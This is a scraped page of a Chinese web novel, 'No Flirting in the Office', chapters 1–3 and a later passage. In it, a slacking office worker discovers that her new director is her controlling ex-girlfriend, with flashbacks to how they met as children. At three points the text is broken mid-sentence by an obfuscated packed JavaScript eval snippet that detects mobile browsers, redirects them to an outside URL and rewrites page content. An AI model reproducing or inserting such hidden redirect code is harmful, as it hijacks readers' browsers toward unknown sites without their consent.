《办公室内禁止调情》 1. 第 1 章 最近天气预报不是很准,姜又柠出门的时候还是小雨,地铁还有几站的时候她甚至能够听见外面传来的雷声。 她是不喜欢打伞的人,觉得麻烦,举着伞又累,所以雨不怎么大的时候,她就会习惯性地淋雨。 巨大的雨滴砸在泥泞的地面上,站在地铁出口的时候,姜又柠发着呆,思索着她这个月三次补卡的次数用完了没。 第一次是在下午,肚子突然有些痛,她拜托旁边同事下班之后帮她关电脑,她提前溜了。 第二次是在早上,赖床了,起不来,那天晚上楼上一直有人跳绳,她脑壳痛得很。 还好还好,还有最后一次。 补卡不就是忘记打卡的时候补一下吗? 她确实是忘记了,才不是因为身子不舒服或者早上上班迟到了。 姜又柠心安理得地站在地铁口淋雨,顺便将刚刚在地铁上一直没能打过去的消消乐打开了。 体力刚刚恢复够一次,可以再试一次。 差一步就可以过关的时候,姜又柠在想要不要使用难得的绿券,上方消息栏就出现了一条消息。 【江诗文:你还没到公司吗?】 姜又柠流畅地用绿券买了+3步,过了超难关之后才点开了微信。 她自信地截了自己补卡两次的图发过去,嚣张地告诉她自己还有一次补卡机会。 【江诗文:没看群吗?今天周一,部门新总监要来,大家都会老实一段时间的,根本没人敢迟到啊。】 其实换不换领导对于姜又柠,甚至是整个部门的人来说都一样。 因为在此之前,短短半年多的时间里,已经换了两个部门总监了。 评价几乎都一致—— 成员各干各的,团队毫无协作能力,一盘散沙。 而且公司总部在国外,跟国内企业的合作项目近几年也少了很多,听闻小道消息,整个部门可能都要被砍了。 欢呼的人还挺多的,拿个赔偿跳槽,某种意义上来看,是个不错的买卖。 就是可怜姜又柠这种喜欢摆烂的人,宁愿钱少点儿,但事儿也要少一点,可这样的活儿不好找。 【江诗文:完了,我看到新总监人了,我有一种要凉的预感。】 江诗文家境很不错,之前跟家里闹了点儿矛盾,自己从国外跑到了国内,用数不清的存款混日子。 具体原因姜又柠也不好问,不过她跟自己性格还挺像的,都是爱摸鱼以偷懒为乐的人,所以两个人比较合得来,是个亲密的饭搭子,下班也常常聊天不玩失踪的那种。 江诗文向来天不怕地不怕,大不了离职走人,她都这么说了,姜又柠的心里就开始慌了。 共享电动强制带头盔,里面臭得要死,共享单车的座位也都是水,她来上班从来不带纸的,都是用公司的。 只能打车了。 可暴雨没有停下来的迹象,早高峰路上堵,下了雨偏偏就更堵了。 “莫名其妙,下雨了不好好待着开车往路上跑什么?”姜又柠烦躁地吐槽一句,步行去公司要半个小时,距离最后的打卡时间只剩下十分钟了。 她早上出门的时候还后悔自己今天出门早了,应该卡点的,这下真是要完蛋了。 出租车还是没人接单,马上要九点半了,姜又柠只能在地铁口买了件质量很差的雨披,扫了辆单车往公司的方向怒冲。 快十点的时候,姜又柠终于到达了公司。 雨披太小了,她的头发湿漉漉的,裤腿也湿透了,本想着安安静静坐到工位上,不小心打了个喷嚏,惹得不少同事朝着她看过来。 江诗文指了指总监办公室的方向,又冲她招了招手,示意她快些坐下来,随后手指就在手机上开始不停地敲打。 姜又柠感受着手机接连震动了几下,马不停蹄在江诗文旁边坐了下来。 “你怎么搞得这么狼狈?” “我这不是怕迟到吗?”姜又柠对着镜子整理自己的头发,“好不容易打一回车,还没司机接我的单,平常七八块的单子,我加价到二十了都没人。” 江诗文抽了几张纸递给她,眸光里含了些怜悯,“一会儿十点半才开会,这次是你运气好。” “那正好,我补个卡。”姜又柠拧了下自己的裤腿,不少水珠滴在了地面上,她‘哎呀’了一下,又弯下腰将水渍都擦去了。 她拿出抽屉里的小风扇准备对着裤腿吹一吹,冷风不住地从小腿开始往上钻。 夏天公司冷气开得足,她又用毯子紧紧裹住了自己的腿。 公司群里还在发99+消息,每个人的脸上都写满了对于工作的思考,手指动作不停。 旁边的同事也示意姜又柠赶快低头假装工作,顺便看看群消息抓紧时间了解一下情况,不要一不小心撞到新总监的枪口上了。 一个人犯错会被处罚,但一群人犯错…… 法不责众,部门里的人早都深知了这个道理。 部门没有自己的大楼,只是在市区的某个办公大楼租了几间作为办公的地方。 新总监是从国外总部调过来的,跟着她的助理是部门的老人,顺便透露了点儿消息。 国内近期要有新项目启动,在国内成立新部门流程太多太复杂,人员调动也麻烦,所以总部那边想起了这个现成的部门。 跟过去传闻的情况大相径庭,每个人脸上的表情都很复杂。 新总监是准时来上班的,只扫了眼工位一句话没说就朝着办公室走了,之后助理就发了一条十点半开会的消息。 【总部那边空降来的,看来是专门来整治我们的,都不准背叛我们平民阶级!该摸鱼的就摸!】 【看着挺年轻的,不一定能压得住场子,说不定跟之前一样,上两个月班就跑了。】 【希望不要乱来吧,万一新官上任三把火,劝退几个人杀鸡儆猴,我上哪儿找清闲又有钱拿的工作?】 姜又柠翻了半天都没能看见几条有用的消息,连新总监的名字都不知道。 她问了问江诗文新总监的样子,江诗文却满脸愁容,“挺漂亮的,真的。” “你的菜?”姜又柠又问。 江诗文连忙摆手,“我认识她,她妈妈跟我妈妈很熟!是经常一起喝下午茶的关系!而且我妈不知道我在这儿!” 她深吸一口气,“如果我被我妈发现了踪迹,我可能就要离职换个城市了!” 姜又柠狐疑地看她,“新总监是你发小啊?” “不是,就是她去国外的时候我才认识的,就认识了几年。”江诗文说,“她妈妈是总部高管,她毕业之后先是在国内上班,之前国内不是有个分公司吗?应该就是按照部门领导培养的,后来项目停工了,她就去总部了。” 姜又柠若有所思地点点头,八卦道,“有照片吗?我看看。” 江诗文点开自己的相册,后知后觉地意识到,“她不怎么爱拍照片,我跟她也没合照。” 她又翻了翻朋友圈,里面是空白的,仅三天可见,最后只好摇了摇头。 “岑曳啊岑曳,这工作狂该不会真是来整治部门的吧……” 姜又柠早已经挪回了工位,听见她嘟囔,好奇地看了一眼又转过头。 她没有追问,湿漉漉的裤腿实在难受,她又用纸巾贴在上面攥住吸水,祈祷着它快些干。 工作群轰炸不断的消息终于在十点二十结束了,几十号人陆陆续续去了大会议室 姜又柠是争当小透明的,所以也没走在前列,混在人群中间被高个子的挡住,最后找了个小角落里坐下,开始发呆。 十点半,新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506905|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总监带着助理准时进入会议室,姜又柠抬眸望过去,一下子就愣住了。 这不是她发小吗……? 不不不…… 是她家教老师……? 也不算…… 是她妈妈雇主的女儿……? 姜又柠试图给不远处这个女人安上一个最合适的身份,但心脏跳得太快了,她思来想去都没能想出一个准确无误的身份。 好吧…… 这是她那个有极端强迫症的变态前任—— 岑曳。 ‘前任’这个词语太有杀伤力了,姜又柠整个人像被击中了一样,坐在椅子上四处乱瞄有没有更角落的座位,生怕被岑曳发现了。 “柠柠!掩护我!”身后的江诗文比她更快一步,抓住她的袖口垂下了脑袋,姜又柠躲避不及,办公椅的滑轮一扭,椅子往前窜了下,她加入了办公桌周围这圈爱冒尖的同事当中。 有人能救她一下吗? 姜又柠只能别开脑袋,希望岑曳不要这么快认出她来。 20岁到24岁,四年没见了,她应该长开了,不怎么像大学时候的自己了。 姜又柠给自己洗着毫无作用的脑,整个人都有点崩溃。 跟岑曳同在屋檐下相处的那些年,谈不上每天都是愉快的。 会议很快开始,岑曳只自我介绍了名字,以及简单介绍了之前在总部带过的几个项目。 女人身穿白色衬衫,说话时带着如沐春风的微笑,顺便开了几个无伤大雅的玩笑,看起来似乎很好相处。 周围表情严肃的同事们也渐渐放松下来。 助理很快播放了一则PPT,告知大家原先在国内停工的几个项目再次重启了,总部那边对部门的期望很高,希望大家能够团结协作,一起成长,项目一旦顺利,后续的奖金当然是非常可观的。 没人不爱钱,眼下新领导岑曳看起来又比较好说话,所以大家的脸上也露了不少笑容。 “大家有什么疑问可以提出来,为了保证我们每次会议都是快速且有效的,在结束会议之前,我会解答任意三个问题。”岑曳始终没有坐下,抱胸站着扫视周围的人,脸上的笑容依旧没变。 姜又柠看得心惊胆颤,这个女人的笑容是最不能相信的,笑得越灿烂,心里的鬼主意就越多。 有大胆的员工迅速发问,三个问题很快就问完了,不过没人聚焦在项目上,都在问岑曳以往的工作经历和后续项目顺利的奖金分配。 岑曳将工作经历如实告知,关于奖金只说了可供发放的百分比,全程滴水不漏,找不出什么差错。 “会议结束之后,主管和组长再跟我单独开个小会。”岑曳说,“大家的情况我都不怎么了解,所以我需要再另外找时间单独跟大家聊一聊。” 岑曳拿过人员名单,上面写满了助理的黑色标记,她点了几个名字,让这几个人这周找个时间去她办公室一趟。 她是有分寸的人,不贪多,一天上午下午只一对一沟通两个,很快一周瞬间顺便排得满满当当。 只剩下今天下午的空闲时间了,这群员工虽然爱摸鱼,但也都是人精,都想让第一个人先去摸摸这位新领导的底。 “有主动要找我聊聊的人吗?” 许久都没人主动搭话,岑曳的视线落在了后排脸蛋僵着不敢转头的某个鹌鹑身上。 “姜又柠?”岑曳对着名单念出口,似乎是不确定地又问道,“对吧?” 姜又柠身子一僵,像有道雷劈在身上。 她如临大敌,这个女人绝对是故意的! 岑曳肯定一早就认出来她了! 姜又柠只好对上她的视线,尴尬地笑了笑,张了张唇,一个字都说不出来。 女人勾唇笑了笑,“午休过后,来我办公室一趟。” 2. 第 2 章 从会议室出来之后,所有人都同情地看向姜又柠。 姜又柠才24岁,是个开朗活泼的小姑娘,平常也都乐呵呵的,嘴巴也甜,入职以来从没跟大家发生过什么冲突。 这种年轻人没心眼,也没脑子,遇上个有阅历有城府的,聊几句就能把祖上三代都透露出去。 “看人还挺准的,先把单纯的小姑娘喊过去聊了。”同事说。 “又柠啊,帮大家打个头阵。”有同事观察了下再次关上开小会的会议室,压低声音道,“这新总监面儿上看着还行,不过不排除人前一套人后一套,你下午跟她多聊聊,看她性格到底怎么样。” “确实,三十岁,还是从总部调过来的,感觉不怎么简单。”较为年长的同事刘姐说,顺便对着姜又柠招招手,“你来我这儿,我教你几招,下午你看着情况使一使。” 公司里摸鱼经验的人不要太多,人到中年,没有升职没有被裁,还能混在公司无所事事地养老,也算是另一种本事。 快到饭点了,这次没人敢提前走,眼睁睁看着过了十二点才陆陆续续地离开。 姜又柠完全没心情吃饭,她靠着椅背,摸了摸自己的心脏。 跳得还是好快。 跟几年前和岑曳争吵一样快,跟几年和岑曳做/爱一样快。 江诗文风风火火地拎着餐盒进来,“今天食堂有你爱吃的红烧肉,给你打包了一份。” “可是我没胃口。”姜又柠嗅了嗅红烧肉的味道,咽了下口水拆了筷子,“我只吃两口,我真的没胃口。” “不用紧张啊,刚刚岑曳还给我发消息了,问食堂哪个窗口好吃,我给她推荐红烧肉了。”江诗文要她放松,“没关系的,她就是有点强迫症,不过私生活跟工作应该分得挺开的,性格也挺好的。” “性格真的好吗……?” 姜又柠回忆起过去,那强迫症可不是‘有点。’ “偶尔也会有点压迫感啦,但这很正常吧?她妈妈性格比较严厉,是个工作狂,岑曳在总部待了这么几年,染上工作病也说得过去。” “我倒不是因为工作在焦虑……”姜又柠咀嚼着红烧肉,吃了一块又一块,“就是不太想面对她……” “能理解能理解。”江诗文点点头,“你站在我这边想一想是不是会好受一些,我在国外几乎跟她天天见面哎!你体会得了这种旧友变上司的感觉吗!超级尴尬的。” 你也体会不了这种前任变上司的感觉。 姜又柠心想。 “你还是多吃几口填饱肚子,既然这个部门又被重新带起来了,以后肯定是没好日子过了。”江诗文往周围看了看,趁着同事还没回来午休跟姜又柠透了底,“在岑曳手底下摸鱼绝对是不可能的,这段时间部门估计要大换血了,上午那几个同事尤其是刘姐跟你讲的千万别听,小心岑曳给你开了。” 姜又柠若有其事地点点头,她当然知道岑曳的性格。 不过新领导调到这个部门之前,肯定多多少少会了解一些底细的。 人员构造,业务流程什么的,岑曳知道她在这里吗? 分手时吵得那么严重,要是反过来,她绝对不会主动去岑曳所在的地方。 校招那年,她运气好进了大厂一个非常缺人的在研项目组,没日没夜加了两年班,攒了点儿钱之后终于受不了辞职了。 之后姜又柠报复性地在出租屋里躺了一个月才开始找工作,多亏了老东家在业界内的名声,她面上了好几家公司,最后挑挑选选选择了这家。 那时候她也不知道这个公司的总部在哪里,工作地点离租的房子近,朝九晚六不加班她就来了,面试通过的时候她还高兴了好久呢,进来之后发现大家的目标都是统一的摸鱼混日子之后就更快乐了。 还是这样不怎么动脑子,休息时间多的工作适合她。 钱是用来消费的,不是用来给医院上供的,刚毕业那两年,她也确实断断续续生了不少小病。 母亲姜鸿英是做家政的,做了好多年了,现在也算是领班了,忙得很,姜又柠跟她见面的次数也很少,自己一个人在医院吊水的时候总是会偷偷掉眼泪。 现在工作不忙之后,姜又柠生病的次数就很少了。 看来人活着还是得保证足够的好心情。 可现在岑曳空降到了这儿,她之后还能有好心情吗? 一想到岑曳那张脸,脑子里回忆起的过去不是甜蜜,反而是彼此说的那些伤人的话。 心脏隐隐约约地刺痛,嘴里的红烧肉吃得不怎么香,甚至还有点油腻。 一点的时候,员工们都回来午休了,姜又柠半躺在办公椅上,一点困意都没有。 她在心里盘算了很多种跟岑曳单独见面的场景。 还会立即吵起来吗? 或者彼此都默契地不再提起过去的事情? 可对于过去,姜又柠放不下,也忘不掉。 她舍不得这份工作,也从江诗文那儿知道,岑曳就是来发展部门的,跟之前那几个混领导名头当跳板高升的人不一样,根本不可能几个月就被调走。 眼下只能走一步看一步,眼睁睁看着墙壁上的钟表走到了两点,姜又柠整理好心情,朝着总监办公室的方向走过去。 为了表示尊敬和友好,她还拿了一个笔记本和黑笔。 敲响了门之后,她很快就被里面的人允许进去。 姜又柠轻轻拉开门,动静很小,里面的女人坐得端正,正翻阅着文件,眉头微蹙,嘴角下压。 岑曳是不喜欢展露情绪的人,或者说,在外人面前总是会维持着浅淡的笑容,现在的女人是很不满意的表现,姜又柠非常懂。 看来她说话该小心一些。 “总监您好。”姜又柠主动开口,站在门口一动不动,局促不安,“您午休得好吗?” 太尴尬了,四年前她把话说得那么难听,就是觉得岑曳出国之后她们之间再也没有见面的可能。 现在被狠狠打脸,她不知道岑曳是否还对过去记忆深刻,她自己倒是难受得很。 岑曳闻言,微微抬眸,先是上下打量了她几秒钟,“看我们部门现在的情况,应该也不允许我将时间花费在午休上。” 姜又柠抿唇,“您,要找我谈什么?” “找张椅子坐。”岑曳示意了面前的位子,从抽屉里拿出来另一份资料简单翻了几页。 姜又柠偷偷打量她,放在腿上的双手焦灼地握紧又松开,她舔着发干的唇,咬了几下死皮,不小心咬破了嘴唇。 她‘嘶’了下又吸吮,尝到了浅淡的血腥味儿。 女人还穿着早上那件白色的衬衫,扣子每一颗都系得工工整整,袖口也是。 这倒不是因为她保守,而是她过分到病态的强迫症让她没办法看到任何类似于‘破损’的口子。 她系了条墨绿色的领带,将微露的脖颈衬得更加白皙。 四年没见,这个女人比以前瘦了些,姜又柠甚至能够看到她微微滚动的喉结和淡青色的血管。 又有一些回忆钻进了脑子里,某一条系在她手腕上的蝴蝶结领带,她晕眩时下意识轻舔女人脖颈的迷离,以及被她的强迫症逼到发疯,就故意在血管上留下草莓印要她窒息,虽然她只敢轻轻地吸那么几秒钟…… “这个月已经补卡了三次?” 秘密记忆被残忍的现实打破了,姜又柠张了张嘴,不知道该怎么解释。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506906|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近一次补卡记录在今天早上。”岑曳翻阅着,质问她,“你忘记打卡了?” 姜又柠做不到对岑曳撒谎,不是她老实,而是每一次都会被拆穿。 所以她决定先承认一半。 “今天早上是迟到了,下了暴雨,打不到车,我骑着共享来的,比较慢,衣服都湿透了……” 岑曳打断她,“迟到就是迟到,不用找借口。” 姜又柠抿唇,“您可以按照公司规定扣我的钱,这个确实是我故意钻规则的漏洞了。” 岑曳不会像过去那样关心她。 可这是应该的,她们现在又不是过去那样亲密的关系,只是她为什么会有点难过呢? “嗯,负责这些工作的员工会再次确认具体情况的。” 姜又柠低声嘟囔,“一来就抓考勤……都说公司效益下滑才会抓的……” “什么?”岑曳盯她,看她摇摇头又露出无辜的表情便继续说,“多数员工不会向领导卖惨,你这样做的原因是什么?” 还能有什么原因?当然是不想罚钱还想拿全勤啊! 总不能是因为她觉得在私人感情这方面岑曳会对她有优待吧? “我没有卖惨,我在陈述事实。”姜又柠深呼吸了一下,有点憋不住自己的脾气。 哪怕四年前跟岑曳见的最后一面,这个女人都在低声下气地要她再好好考虑分手这件事情。 可现在一见面,岑曳突然就变得居高临下的。 陌生人本该就是这样的,或者说领导对于员工本就是这样的。 但姜又柠接受不了岑曳这样的态度转变,便窝囊地回复道,“您的生活比绝多数人都要好,我陈述一下事实您就觉得我在卖惨,那我能说,您一直在向我炫耀吗?” 女人眉尾微扬,将手里的材料放下了,她又一次慢悠悠打量着姜又柠的脸,盯得她下意识避开她的视线。 “你这张嘴,比过去更厉害了。” ‘过去’这个词语太敏感了,将姜又柠此刻心里犹豫的情绪一下子扯出来,赤/裸裸地放在两人面前。 “还好吧,我上一份工作做得很认真,领导对我态度还是很好的,还会经常夸我努力。” 姜又柠将女人口中的过去当成工作上的对比,她现在还没有做好任何准备面对那些不愉快的记忆。 岑曳深深看她一眼,收回了视线,脸上微妙的表情转瞬即逝,“你觉得我们部门当下的工作氛围如何?” “大家工作都挺认真的,都能及时完成,每个人的性格也都很好,我们都相处得很愉快。” “薪资结构还有公司规定这些呢,有没有什么你认为不合适的地方,有好的建议也可以告诉我。” “我觉得各方面都挺好的。”姜又柠想了想,“我们部门员工离职率还是挺低的,人员流动还是比较稳定的吧。” 岑曳依旧睨她,看她撒谎或者不愿意过多沟通时快速眨动的眼睛,就知道她不打算说实话。 “那好,我还有最后一个问题。”岑曳说,“你对于我个人有什么期望吗?” 姜又柠抬眸,迷茫地看她。 据她了解,岑曳是不会说这种模棱两可,会让人想太多的话。 偏偏女人此刻又是认真的面容,没有过去那些明显的柔情蜜意。 岑曳是真的放下过去了吧…… 她身上的压迫感也更重了,尽管带着浅淡的笑意,但看起来像是那种很好认识但很难深交的人。 工作使人麻木,姜又柠深刻地懂得了这个道理。 不计前嫌也挺好的,至少不会那么痛苦。 “我希望您……”姜又柠还是没能真情流露,“能够带领我们部门做大做强!” 3. 第 3 章 站在办公室的门口,终于见不到岑曳的身影了,姜又柠松了口气,慢慢回想着自己刚才都说了什么。 同事们见她回来,也纷纷低声问她情况。 姜又柠如实回答了,大家听到她说的都是些糊弄人的套话,对着她比了个大拇指,之后便放心地继续工作。 国内在邻市还有个分部,一直做着总部和国内的对接工作,这几年虽然国内项目不多,但那边员工的工资却高得吓人。 而姜又柠这个部门,只能做一些边角料的工作,基本上也知道不了太多核心资料。 邮箱里多了好几封新邮件,是她去办公室的时候发过来的,都是新项目的基本资料,邮件最后还贴心地加了一句人模人样的话,时间不等人,要大家迅速了解,方便之后尽快上手。 好不容易找到一个不加班的工作,还没有一年呢,不会又要过上之前朝九晚十、朝九晚十一,甚至朝九晚日出的生活了吧? 姜又柠对于岑曳在工作上面的疯狂程度毫不怀疑,毕竟之前两个人感情正浓的时候还因为这种事情吵过架。 她是非常需要情感陪伴的人,接受不了岑曳没日没夜的加班让自己独守空床。 不过岑曳确实为她舍弃了很多,之后准时下班的次数就频繁了起来,姜又柠也终于能够在睡前得到晚安吻。 下班之后,姜又柠等电梯的时候收到了合租室友的消息。 【室友:柠柠,房子到期之后我先不跟你合租了。】 【姜又柠:怎么了怎么了?我们可以再找个便宜的房子,离地铁再远点也没关系的!】 【室友:我被辞了!气死我了!等你回家跟你说!】 原来是这样,姜又柠叹了口气。 最近一段时间,室友就一直在跟她吐槽公司里的事情,老板频繁开会PUA顺便吹一吹自己过去的牛,再随机找几个人单独开个小会,当天办公室的人就接连走了几个。 小公司效益不好,也不需要太多人,就开始劝退员工,没想到这把刀也落在了她一个勤勤恳恳的初创员工身上。 姜又柠在玄关处换了鞋,看见客厅里已经堆了几个箱子。 “你现在就要走啊?” “不是啦!这些都是不要的东西,准备扔掉的。”室友说,“我要把东西寄回家里,肯定得减减负,里面都是些小物件,柠柠你要不嫌弃的话,你可以挑一挑自己用,我反正带不走了,太累赘。” 姜又柠道了声谢,去了室友的卧室看她收拾行李,“在家里好好休息几天再走吧,我们房子还有半个月到期呢。” “我候补了票的,赶上大学生开学了,票不怎么好买。”室友说,“不好意思啊柠柠,我们前几天还说要一起看房子呢。” “没事。”姜又柠想了想,“你们公司给赔偿了吗?” “赔什么啊,小公司哪里有赔偿?我刚进这个公司的时候就四五个人,现在都四五十号人了,我还做着升升职当管理的梦呢,这下倒是给我直接拍醒了。” 她坐在床上,擦了擦额头上的汗,“回家吧,我都要二十七八了,我妈年纪也不小了,得回家陪陪她了。” 姜又柠把空调调低了些,点点头,“你之后要是还来A市,你就联系我。” 遇到个合拍的室友不容易,她不是没听说过合租遇到奇葩室友的,她运气好到跟这个女人一起合租了好几年。 从实习到现在24岁,她们也算是三年的朋友了。 “我会的,之后我还想带我妈来这儿旅游呢。”室友说,“我还挺羡慕你的,你妈妈也在A市,这样见面多方便啊,我老家在小县城,连机场都没有,回趟家还得飞机转高铁,高铁转大巴,再走好久的泥路……” 姜又柠笑了笑,什么都没说。 她洗了个澡,吹头发的时候便点开了租房app。 这栋小区距离公司不算近,但小区比较老,所以租金相比较之下不算贵,两个人合租套二评价下来也就不到三千块。 她之后不一定能够运气好遇上一个好相处的室友,但自己住的话又太贵了。 标准的一室一厅都要四五千了,就算隔断间也得奔四千了。 唉,一人被裁,两人痛。 她还是明天上班的时候问问公司里的人附近有什么好价小区吧。 姜又柠在网上下单了几个麻袋和压缩袋,准备搬家的时候用。 桌上又乱糟糟的,她将喝奶茶送的小鸭子还有贴纸什么的全都扔进了垃圾桶,视线又落在了那个白色的狐狸玩偶上。 那是岑曳送她的。 不,准确来说,是她朝岑曳要的。 她的母亲姜鸿英是做家政的,学历不高,所以还很年轻的时候就开始做这个工作了,被头子派到岑家的时候,她已经四十岁了,有着十几年的家政经验,在家政派遣公司内已经是个很出名的家政阿姨了,但她唯一的条件就是雇主要求她住家时,必须允许她的女儿一同住进去。 彼时的姜又柠不过十二岁,就跟着姜鸿英住进了岑家的大房子。 岑千兰本来想给母女俩安排两间房,但姜鸿英拒绝了,便安排给了这两母女俩一间很大的卧室,里面能够放得下两张床。 岑家的客厅里有一面巨大的置物架,上面摆满了岑曳的荣誉证书和奖杯,这是她养出的最优秀的女儿。 第一天,这些满满的荣誉看得姜又柠惊讶地张大了嘴巴。 姜又柠知道自己寄人篱下,也知道她们是雇来的家政,所以一直规矩老实又懂礼貌,直到看见岑曳拎着箱子回来。 这个比她大了六岁的姐姐刚刚在国外度过了她的十八岁生日,她跟她的朋友庆祝了两个星期。 行李箱的最上面挂着一个毛茸茸的白色狐狸玩偶,很漂亮很可爱,但姜又柠只敢偷偷瞄一眼,就继续坐在角落的桌子上写作业。 玩偶她好喜欢,要是她也能有一只就好了。 岑家母女一起上了楼,没几分钟就传来争吵声,之后岑曳走下来,手里拿着那只狐狸玩偶,只是脖子那里破了好长一道,里面的棉花都露了出来。 姜又柠用余光偷偷看她,或者说偷偷看那个可怜的玩偶。 岑曳在沙发上坐下来,“看我多久了?” 姜又柠立即垂下头,皱眉思考着作业。 “还装?” 姜又柠第一次见她,不知道她的脾气,更怕得罪她,毕竟她刚刚跟岑千兰吵了架,便小心翼翼地抬头,“我不看你了,我得写作业了。” 趁着这个机会,她终于能正大光明地仔细看几秒钟那个玩偶。 还是很漂亮,可是好可惜。 这种毛茸茸的玩偶对于她这个年龄的小姑娘来说,有着致命的吸引力。 “姜又柠对吧?十二岁?”岑曳将烂掉的玩偶扔进垃圾桶,“之后大学,我会在家里常住,好好相处吧。” 姜又柠点点头,“你跟你妈妈吵架了吗?” “很正常,习惯就好了。”岑曳皱着眉头将歪了的餐桌布整理平整,“她的性格就是这样的,不允许有人违背她的意愿做事,准确来说,就是领导病犯了。” “你做了什么?”姜又柠问她,又立即改口,“……我可以问这个吗?” “我跟她说的是三天后回来,但改了机票多待了两星期。”岑曳嗅了嗅袖子的味道,没什么异味但刚刚碰到了不够平整的餐桌布,还是觉得脏了,“还觉得这玩偶是女朋友送的,我哪有那个本事?本来就没几个朋友,再这样试图掌控我的社交,那我就真的要一个人活一辈子了。” 她起身朝着楼上走,姜又柠以为她要去休息。 看着岑曳的身影消失了之后,她悄悄跑到垃圾桶那边,将里面的狐狸玩偶捡了起来。 垃圾桶是她今天刚套上去的袋子,干干净净的,她呼了一口气,小心翼翼地摸了几下玩偶的脑袋,又心疼地将棉花塞回脖子里,但很快就会再次溢出来。 “喜欢这个?” 姜又柠被突如其来的声音吓了一大跳,她将玩偶藏在身后,警惕地看着从楼上换了套家居服下来的岑曳。 她犹豫了下,还是决定说实话,“我,我看你扔进垃圾桶了,你要是不要的话,可,可以给我吗……?要是你不喜欢我拿的话,我也可以不拿的……” 姜又柠舍不得自己把它再次扔进垃圾桶里。 “这个也不贵,可以送你一个新的,还有别的颜色,粉色?蓝色?灰色?你喜欢哪个?” “我不要新的,我要这个就行的……”姜又柠咬唇,又攥紧了些。 棉花因为她的动作露得更多,她又慌慌张张地将棉花塞回去。 她怎么可能让岑曳给她买东西? 姜鸿英一定会骂她的,雇主家的便宜不能占,也不能心安理得地享受对方给的好处。 “觉得别的颜色不好看?”岑曳思索了下,“蓝狐狸灰狐狸什么的,确实没有白色的可爱对吧?” 姜又柠摇摇头,“不是的……” “算了,随便你。” 岑曳不跟小孩子过多掰扯,拎着行李箱准备回卧室,姜又柠充其量就是家政阿姨的一个孩子,还不知道会在家里待多久,她妈那个强势的性格,但愿这母女俩能够受得了。 得到允许之后,姜又柠兴高采烈地对她道了谢,隔天跟姜鸿英好说歹说解释了一大通才没有被骂,但依旧被拎着到岑曳面前道歉,承认自己的不懂事。 岑曳二次允许之后,这个玩偶才彻底归属了姜又柠。 姜鸿英手巧,不仅把玩偶脖子缝好了,还缝了个大红色的围巾在上面,这下可算得上是世界上独一无二的狐狸玩偶了。 姜又柠高兴地跑到岑曳面前炫耀,岑曳又好心教她写作业,一来二去,她在岑曳面前逐渐地就没有刚开始那样腼腆了。 她很少被允许买玩具,于是这只残破的狐狸玩偶一直被修修补补,陪伴了她十二年。 直到现在,这只玩偶还在桌角放着。 姜又柠拿起来,思索着自己该不该再次断舍离。 跟岑家彻底断绝来往之后,她把跟岑曳相关的所有东西都处理掉了,除了这只玩偶。 现在跟岑曳重逢,她回想起玩偶的来源,心里总有些别扭。 相比于过去的温柔,三十岁的岑曳多了些凌厉和压迫感,而她也从胆怯内敛的小姑娘变成了现在的活泼懒散、好吃懒做的成年人。 她们因为对方都改变了很多,姜又柠不觉得现在的自己很优秀,好像…… 她被当初的岑千兰一语成谶了。 - 晚上姜又柠是抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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手机上收到姜又柠的消息,江诗文看了眼,回了条语音,“稍等哦柠柠,我吃快一点,大概十几分钟。” 闻言,岑曳微微抬眸,“你经常一个人吃饭?” “不是啊。”江诗文解释道,“我跟柠柠是饭搭子,她今天痛经,我一会儿帮她带。” “帮她打包一份牛肉,我刚刚看见有这道菜了。”岑曳说着,“第一天确实会难受一些。” 江诗文微愣,“你怎么知道她是第一天?” “猜的。”岑曳没有过多言语,“昨天谈话的时候看着活蹦乱跳的。” “她只有第一天这样啦,熬一熬就好了。”江诗文说,“你最近没怎么跟我妈见面吧?” “两个妈妈见面倒是挺多的,我不怎么休息,加班日比较多。” “那,那个谁呢?你跟她关系还是不错的吧?” “谁?” “就那个谁!” “谁啊?” “岑曳!你故意的!”江诗文质问她,“你最好别把在这儿遇到我的事情透露出去!” 岑曳已经猜到她会这样说,“可以,但我有个条件。” “你说,我都能答应。但我不回家,不跟那个女人在国外结婚,我要自由恋爱。” “你跟姜又柠认识多久了?” 江诗文思索了下,“快一年了吧,我俩刚好是一周内前后脚入职的,又因为姓氏是一个音,性格也差不多,所以很快就熟了。” 岑曳张了张唇,面容上露出罕见的犹豫,“……熟到哪种程度?” “虽然没到无话不谈的程度,但我们之间信任度很高的,属于一见如故的那种朋友吧!”江诗文说,“偶尔她会来我家过夜,有时候我也会去她家喝个通宵酒什么的。” “没住一起啊。”岑曳淡声道。 “没有,她有个室友一起合租几年了。”江诗文报了个小区,“不过她室友离职了,昨晚还在跟我吐槽找房子好难,她准备自己住,但是独居太贵了房子不好找。” “我还打算帮她一起找呢。”她拿出手机看了看自己的小区,恰好有个转租的消息,点开视频看了看还不错,便转发给了姜又柠,继续发着语音,“柠柠你可以看一下我小区这个转租的,租期还剩下三个半月,这个贴主会补贴这半个月的房租,你可以先住进来慢慢找室友,也是二室的,均价下来比你的好像就贵几百块钱。” 发过去之后,江诗文就收了餐盘,跟岑曳一起等着电梯。 